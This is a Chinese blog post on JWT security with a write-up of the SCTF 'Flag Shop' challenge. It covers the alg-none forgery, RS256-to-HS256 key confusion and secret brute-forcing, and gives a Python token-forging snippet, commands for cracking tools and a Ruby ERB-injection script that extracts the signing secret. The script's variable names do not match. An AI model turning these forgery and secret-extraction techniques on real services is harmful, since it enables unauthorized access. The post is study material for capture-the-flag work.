从SCTF看JWT安全 (附SCTF web writeup)

原创

合天网安实验室 于 2020-03-30 14:19:10 发布 267 收藏
分类专栏： CTF

本文链接：https://blog.csdn.net/qq_38154820/article/details/105198380

原创作者：Fz41

这两天在打SCTF，有一题涉及到JWT的简单的知识，现在来把JWT相关的知识汇总一下,虽然不是主要的考察内容，但是作为一个基础知识，还是要掌握的。

JWT技术介绍

来源

用户认证的方式通常有两种，传统的session认证 和 基于token方式.

传统的session认证的缺陷

传统的session认证,随着不同客户端用户的增加，独立的服务器已无法承载更多的用户，而这时候基于session认证应用的问题就会暴露出来.例如而随着认证用户的增多，服务端的开销会明显增大，这样在分布式的应用上，相应的限制了负载均衡器的能力，因为是基于cookie来进行用户识别的, cookie如果被截获，用户就会很容易受到跨站请求伪造的攻击。

基于token的鉴权机制

基于token的鉴权机制类似于http协议也是无状态的，它不需要在服务端去保留用户的认证信息或者会话信息。这就意味着基于token认证机制的应用不需要去考虑用户在哪一台服务器登录了，这就为应用的扩展提供了便利。

定义

JWT(JSON Web Token) 是一个非常轻巧的规范，通过这个规范，可以传递可靠的安全信息，JWT常被用于前后端分离，可以和Restful API配合使用，常用于构建身份认证机制。

Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准（(RFC 7519).该token被设计为紧凑且安全的，特别适用于分布式站点的单点登录（SSO）场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息，以便于从资源服务器获取资源，也可以增加一些额外的其它业务逻辑所必须的声明信息，该token也可直接被用于认证，也可被加密。

组成

一个字符串由头部，载荷，签名三部分组成。

头部(Header)

用于描述JWT的最基本的信息，其所用的签名与算法类似这样

```
{
  "typ": "JWT",
  "alg": "HS256"
}
```

通过base64 编码之后，形成头部

载荷（Payload）

也是json形式的，官方定义的有如下六个部分

```
{
    "sub": "1",  //该JWT所面向的用户
    "iss": "http://localhost:8000/auth/login",  //该JWT的签发者
    "iat": , //iat(issued at): 在什么时候签发的token
    "exp": ,  //exp(expires): token什么时候过期
    "nbf": , //nbf(not before)：token在此时间之前不能被接收处理
    "jti": ""  //JWT ID为web token提供唯一标识
}
```

当然，开发者可以定义自己使用的数据。

以上json数据base64编码之后，形成载荷。

签名

将上面的两个编码后的字符串都用句号.连接在一起 提供一个密钥（secret）用头部所规定的算法加密就可以形成一个新的字符串

同样，需要base64编码

以上将三个部分用`.`拼接在一起，就形成了一个完整的JWT令牌

可上面介绍了那么多，大家依然不知道JWT到底是干嘛的，稍微介绍一下JWT的验证方式方式，大家应该就应该会对JWT的运用有所了解了

服务器应用在接受到JWT后，会首先对头部和载荷的内容用同一算法再次签名。如果服务器应用对头部和载荷再次以同样方法签名之后发现，自己计算出来的签名和接受到的签名不一样，那么就说明这个Token的内容被别人动过的，我们应该拒绝这个Token

JWT安全问题分析

上面说了JWT的组成，我们的目的是研究其安全性既然这是一个验证的机制，那么安全问题主要就是非授权访问，也就是说要绕过这种验证机制，已知其结构，数据一般也是存在本地端，我们唯一不知道的就是加密算法的密钥，这样说来，有如下几种安全问题。

修改算法为none

修改算法有两种修改的方式其中一种就是将算法就该为none

后端若是支持none算法

header中的alg字段可被修改为none

去掉JWT中的signature数据（仅剩header + '.' + payload + '.'） 然后直接提交到服务端去

修改算法RS256为HS256

RS256是非对称加密算法，HS是对称加密算法

如果jwt内部的函数支持的RS256算法，又同时支持HS256算法

如果已知公钥的话，将算法改成HS256，然后后端就会用这个公钥当作密钥来加密

信息泄露

JWT是以base64编码传输的，虽然密钥不可见，但是其数据记本上是明文传输的，如果传输了重要的内容，可以base64解码然后获取其重要的信息。

爆破密钥

原理就是，如果密钥比较短的话，已知加密算法，通过暴力破解的方式，可以得到其密钥。

漏洞环境搭建

搭建方式

我搭建的环境为php7

安装了composer

直接用如下的命令进行搭建漏洞环境

```
git clone https://github.com/Sjord/jwtdemo/
cd jwtdemo
composer install
php -S 0.0.0.0:8000 -t public
```

然后直接访问

```
127.0.0.1:8000/hs256.php
```

环境就搭建成功了。

payload如下

```
def b64urlencode(data):
    return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')
print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
    '.' + b64urlencode("{\"data\":\"test\"}") + '.'
```

通过如上代码，可以构造任意的密钥为none的paylaod，从而绕过后端的检查，修改与RS256的方法与此类似，不再赘述。

相关工具

JohnTheRipper

在爆破JWT的时候，可以用如下如下工具

https://github.com/magnumripper/JohnTheRipper

使用的方法如下

```
git clone https://github.com/magnumripper/JohnTheRipper
cd JohnTheRipper/src
./configure
make -s clean && make -sj4
cd ../run
./john jwt.txt
```

c-jwt-cracker

C语言的破解工具

https://github.com/brendan-rius/c-jwt-cracker

使用方法如下

```
make
make OPENSSL=/usr/local/opt/openssl/include OPENSSL_LIB=-L/usr/local/opt/openssl/lib
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
```

相关CTF题目汇总

CTF基于这个安全问题也有多次的考察，最近的SCTF也有考察JWT相关知识点

一下从网上找到了一些CTF writeup 大家可以参考一下

JWT token破解绕过

https://delcoding.github.io/2018/03/jwt-bypass/

JWT伪造cookie

https://www.jianshu.com/p/e64d96b4a54d

SCTF Flag Shop writeup

ruby的网站

扫目录发现robots.txt里面有源码路径
http://47.110.15.101/filebak 有源码

主要的漏洞点在

```
get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
  end
end
```

ruby的全局变量中 通过$~可以读取刚刚匹配的字串加上<%=%> 符合长度的要求，于是，可以通过这种方式来得到密钥

爆破的脚本如下

```
import requests
dirc = '1234567890abcdef'
url = 'http://47.110.15.101/work'
data = {
    "name": "<%=$~%>",
    "do": "<%=$~%> is working"
}
sess = requests.session()
sess.headers['Cookie'] = 'auth=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiIwZmQxMjUzNC1mMmJjLTRhZTUtOTRhNy1kNmUwZWRjMGJkMzEi
LCJqa2wiOjEwN30.iI0fcdikWuFxSxYm9LV1dNjCmmID48QZ0c3w-hhyEnw'

#后半部分
key = ''
for _ in range(100000):
    for i in dic:
        j = key
        j += i
        data['SECRET'] = j
        print(j)
        res = sess.get(url, data=data)
        print(res.text)
        if j in res.text:
            key += i
            print(key)
            break
```

一共有两部分的密钥，同样的方法可以破解第二部分。

得到密钥之后然后就是伪造了，有一个网站比较好用

https://jwt.io/

参考链接

https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/

https://github.com/Sjord/jwtdemo/

https://www.jianshu.com/p/576dbf44b2ae

https://zhuanlan.zhihu.com/p/27722251

http://www.hetianlab.com/pages/CTFLaboratory.jsp